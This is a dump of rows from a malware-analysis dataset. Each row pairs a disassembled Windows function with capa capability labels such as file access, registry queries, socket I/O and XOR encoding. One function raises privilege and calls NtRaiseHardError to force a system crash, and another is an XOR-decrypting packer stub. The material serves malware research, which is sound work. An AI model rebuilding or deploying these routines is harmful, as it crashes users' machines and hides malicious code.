joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408112
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x468810
push esi
call fcn.0040852e
push esi
call fcn.004080b5
mov edi, eax
test edi, edi
jne 0x408133
xor eax, eax
jmp 0x40818b
push edi
call fcn.004087ce
test byte [0x47ff98], 0x80
je 0x408150
mov ax, word [edi]
test ax, ax
je 0x40812f
cmp ax, 0x5c
je 0x40812f
sub edi, esi
sar edi, 1
jmp 0x40816a
call fcn.00408a67
test eax, eax
je 0x408164
test byte [eax], 0x10
je 0x40812f
push esi
call fcn.00408056
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x408156
call fcn.0040800a
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x408214
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408230
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
ret 4

Function at 0x408233
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x408262
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40d468]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40d46c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x4082b2
test edi, edi
jne 0x40826f
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x4082ac
Function at 0x4082b6
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov ebx, 0x46d6a8
push 0x40d47c
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [esp + 0x1c]
xor ebp, ebp
cmp edi, ebp
mov esi, 0x400
je 0x408304
push 1
push ebp
push edi
call fcn.00408233
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x40847b
cmp eax, esi
jg 0x40847b
mov edi, 0x46dea8
push esi
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x40847b
cmp eax, esi
jg 0x40847b
push ebp
push ebp
push esi
push 0x46d2a8
push 0xffffffffffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
call ebx
test eax, eax
je 0x40847b
push ebp
push ebp
push esi
mov esi, 0x46c810
push esi
push 0xffffffffffffffff
push edi
push ebp
push ebp
call ebx
test eax, eax
je 0x40847b
push esi
push 0x46d2a8
push str._s_s_r_n
push 0x46cea8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x47ff90]
add esp, 0x10
push dword [eax + 0x114]
push edi
call fcn.00408550
push 4
push 0xc0000000
push edi
call fcn.00408233
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x40847b
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebp
je 0x408471
lea eax, [esp + 0x10]
push ebp
push eax
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408471
cmp edi, dword [esp + 0x10]
jne 0x408471
push str._Rename__r_n
push esi
call fcn.00408190
cmp eax, ebp
jne 0x408408
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x408439
add eax, 0xa
push 0x40d470
push eax
call fcn.00408190
mov ebp, eax
test ebp, ebp
je 0x408437
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x40842a
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x408424
sub ebp, esi
inc ebp
mov eax, ebp
xor ebp, ebp
jmp 0x40843b
xor ebp, ebp
mov eax, edi
push ebx
add eax, esi
push 0x46cea8
push eax
call fcn.004081e6
push ebp
push ebp
push ebp
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x10]
push ebp
add edi, ebx
push eax
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4084b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x18]
push edi
push eax
mov eax, dword [ebp + 0x18]
xor edi, edi
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov word [esi], di
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408528
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x4000
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408515
cmp dword [ebp + 0x14], 1
je 0x408518
cmp dword [ebp + 0x14], 2
je 0x408518
mov word [esi], di
push dword [ebp + 0x18]
mov word [esi + 0x3ffe], di
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
ret 0x14
Function at 0x40887d
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
je 0x4088a8
mov eax, dword [0x40d140]
cmp eax, 0xffffffff
je 0x40889c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40d140], 0xffffffff
jmp 0x40894d
cmp dword [0x46eec0], ebx
je 0x40894d
cmp word [0x46e6c0], bx
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x40891d
cmp dword [0x40d140], 0xffffffff
jne 0x408926
mov esi, 0x46e6c0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 4
push 0x40000000
push esi
mov dword [ebp + 8], eax
call fcn.00408233
cmp eax, 0xffffffff
mov dword [0x40d140], eax
je 0x40894d
cmp dword [ebp + 8], 0xffffffff
jne 0x408912
lea ecx, [ebp - 4]
push ebx
push ecx
lea ecx, [ebp + 8]
push 2
push ecx
push eax
mov dword [ebp + 8], 0xfeff
call edi
mov eax, dword [0x40d140]
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40d140], 0xffffffff
je 0x40894d
mov esi, 0x476f00
push 0x40d498
push esi
call sub.KERNEL32.dll_lstrcatW
lea eax, [ebp + 8]
push ebx
push eax
push esi
call sub.KERNEL32.dll_lstrlenW
add eax, eax
push eax
push esi
push dword [0x40d140]
call edi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x699f693a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x1d7f4153
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3a9c4
call fcn.0040c920
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0x3a9c0], eax
push ebx
xor eax, eax
mov dword [esp + 8], 0
push eax
push eax
push eax
mov word [esp + 0x48], ax
lea eax, [esp + 0x38]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1c]
mov dword [esp + 0x40], 0x10001
push eax
mov dword [esp + 0x48], 0x1f40
mov dword [esp + 0x4c], 0x1f40
mov dword [esp + 0x50], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00402180
add esp, 0xc
xor eax, eax
nop dword [eax]
mov edx, eax
mov ecx, eax
shr ecx, 4
shr edx, 8
or dl, cl
movsx ecx, al
movsx ebx, dl
imul ebx, ecx
mov cl, al
add cl, cl
xor bl, al
lea edx, [ecx + eax]
add bl, dl
mov byte [esp + eax + 0x40], bl
inc eax
cmp eax, 0x3a980
jb 0x401310
lea eax, [esp + 0x40]
mov dword [esp + 0x10], 0x3a980
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push 0x20
push eax
push dword [esp + 0x10]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [esp + 8]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [esp + 0x3a9c4]
pop ebx
xor ecx, esp
call fcn.004014bc
mov esp, ebp
pop ebp
ret

Function at 0x4013d0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4011f0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401230
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 0
push 0
push section..text
push 0
push 0
call edi
mov esi, eax
call fcn.00401290
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0x4011d0
push 0
push 0
call edi
push 0x7d0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.NtRaiseHardError
push str.ntdll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.RtlAdjustPrivilege
push str.ntdll
mov ebx, eax
call edi
push eax
call esi
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x13
call eax
lea eax, [ebp - 8]
push eax
push 6
push 0
push 0
push 0
push 0xc00002c9
call ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4062c6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00405f86
Function at 0x40b790
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
mov esi, ecx
call fcn.0045db30
mov esi, dword [esi]
cmp esi, 0xffffffff
jne 0x40b7b1
mov ebx, 0x2719
jmp 0x40b7eb
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 4
push dword [ebp + 8]
push 4
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edi, eax
call fcn.0045db30
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], esi
test edi, edi
jne 0x40b7f8
xor ebx, ebx
call fcn.0045db30
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
test ebx, ebx
jne 0x40b805
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, str.set_option
lea ecx, [esp + 0x10]
call fcn.0041a010
int3

Function at 0x411b50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [0x504d4c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x411b68
mov edx, dword [eax + 4]
jmp 0x411b6a
xor edx, edx
mov eax, dword [ebp + 0xc]
cmp eax, 0xff
ja 0x411b89
test edx, edx
je 0x411b89
cmp dword [edx], 0
jne 0x411b89
mov ecx, dword [ebp + 8]
mov al, byte [ecx + eax]
mov byte [ecx], al
mov dword [edx], ecx
pop ebp
ret
push dword [ebp + 8]
call fcn.0045dbf3
add esp, 4
pop ebp
ret

Function at 0x411ba0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x1c]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [edi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp byte [ebp + 0x18], 0
push 0
je 0x411bf4
mov ecx, dword [edi + 4]
push 0
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
mov eax, dword [esi]
cmp eax, 0xffffffff
jne 0x411c1c
mov ecx, dword [edi + 4]
push 0x2719
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
push ebx
push dword [ebp + 0x14]
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 8], 0
push dword [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
je 0x411c78
cmp eax, 0x3e5
je 0x411c78
push dword [ebp - 8]
mov ecx, dword [edi + 4]
push eax
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [edi + 4]
push ebx
call fcn.004126d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
Function at 0x411ca0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov edi, eax
cmp edi, 0xffffffff
jne 0x411cd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [esp + 8], esi
call fcn.0045db30
mov dword [esp + 0xc], eax
test esi, esi
jne 0x411cd9
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0x48b678
lea ecx, [esp + 8]
call fcn.0041a010
int3

Function at 0x411cf0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push dword [0x504d4c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, dword [ebp + 8]
test eax, eax
je 0x411d32
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x411d32
mov eax, dword [ecx]
test eax, eax
je 0x411d32
mov dword [ecx], 0
mov dl, byte [eax]
movzx ecx, dl
cmp ecx, ebx
jb 0x411d29
mov byte [eax + ebx], dl
pop ebx
pop ebp
ret
push eax
call fcn.0045dbf3
add esp, 4
lea eax, [ebx + 1]
push eax
call fcn.0045dba4
add esp, 4
mov ecx, eax
cmp ebx, 0xff
ja 0x411d53
movzx eax, bl
mov byte [ecx + ebx], al
mov eax, ecx
pop ebx
pop ebp
ret
xor eax, eax
mov byte [ecx + ebx], al
mov eax, ecx
pop ebx
pop ebp
ret

Function at 0x4120f0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
cmp dword [ebx], 0x40
mov esi, dword [ebp + 0x10]
push edi
mov edi, edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
jne 0x41212a
call fcn.0045db30
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebx], 0x2745
cmp dword [ebx], 0
jne 0x41220b
test eax, eax
je 0x41219d
test esi, esi
je 0x41219d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 8]
push eax
push eax
push 0
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
call dword [sym.imp.MSWSOCK.dll_GetAcceptExSockaddrs]
mov edi, dword [ebp - 8]
cmp edi, dword [esi]
jbe 0x41218c
call fcn.0045db30
mov dword [ebx], 0x2726
mov dword [ebx + 4], eax
jmp 0x41219d
push edi
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00460250
add esp, 0xc
mov dword [esi], edi
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
cmp esi, 0xffffffff
jne 0x4121ca
call fcn.0045db30
mov dword [ebx], 0x2719
mov dword [ebx + 4], eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 4
lea eax, [ebp - 0x10]
push eax
push 0x700b
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edi, eax
call fcn.0045db30
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebx], eax
mov dword [ebx + 4], esi
test edi, edi
jne 0x41220b
call fcn.0045db30
mov dword [ebx], edi
mov dword [ebx + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret
Function at 0x4122f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x20]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [edi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esi]
push 0
cmp eax, 0xffffffff
jne 0x41234e
mov ecx, dword [edi + 4]
push 0x2719
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c
push ebx
push dword [ebp + 0x18]
lea ecx, [ebp - 8]
push dword [ebp - 0xc]
mov dword [ebp - 8], 0
push 0
push ecx
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push eax
call dword [sym.imp.WS2_32.dll_WSASendTo]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
je 0x4123af
cmp eax, 0x3e5
je 0x4123af
push dword [ebp - 8]
mov ecx, dword [edi + 4]
push eax
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c
mov ecx, dword [edi + 4]
push ebx
call fcn.004126d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4123d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
push edi
mov edi, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esi]
push 0
cmp eax, 0xffffffff
jne 0x412434
mov ecx, dword [edi + 4]
push 0x2719
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c
push ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc]
push dword [ebp - 0x10]
mov dword [ebp - 8], 0
push ecx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], 0
push dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
je 0x41249e
cmp eax, 0x3e5
je 0x41249e
push dword [ebp - 8]
mov ecx, dword [edi + 4]
push eax
push ebx
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c
mov ecx, dword [edi + 4]
push ebx
call fcn.004126d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x4124c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 4]
push edi
mov edi, dword [ebp + 0x1c]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp byte [ebp + 0x18], 0
push 0
je 0x412514
mov ecx, dword [esi + 4]
push 0
push edi
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [ebx]
cmp ecx, 0xffffffff
jne 0x41253c
mov ecx, dword [esi + 4]
push 0x2719
push edi
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 8], 0
push dword [ebp - 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov ebx, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
jne 0x412573
mov eax, 0x2746
jmp 0x412580
mov ecx, 0x274d
cmp eax, 0x4d2
cmove eax, ecx
test ebx, ebx
je 0x4125ab
cmp eax, 0x3e5
je 0x4125ab
push dword [ebp - 8]
mov ecx, dword [esi + 4]
push eax
push edi
call fcn.00412650
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [esi + 4]
push edi
call fcn.004126d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret 0x18
Function at 0x415110
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d9ea
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.0045a22f
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x4151b6
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], str.bad_locale_name
call fcn.0045e38f
push 0x491a20
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], vtable.std::runtime_error.0
call fcn.0046092b
push edi
push esi
call fcn.0045a10b
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret 4

Function at 0x418b60
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x49a690]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 0xffffffff
jne 0x418ba0
call fcn.0045db30
mov dword [edi + 4], eax
mov dword [edi], 0x2719
or eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045db95
mov esp, ebp
pop ebp
ret
push 0
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x218], 1
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x110], 1
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
lea eax, [esi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
mov ebx, eax
call fcn.0045db30
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi], eax
mov dword [edi + 4], esi
test ebx, ebx
js 0x418c0a
call fcn.0045db30
mov dword [edi], 0
mov dword [edi + 4], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0045db95
mov esp, ebp
pop ebp
ret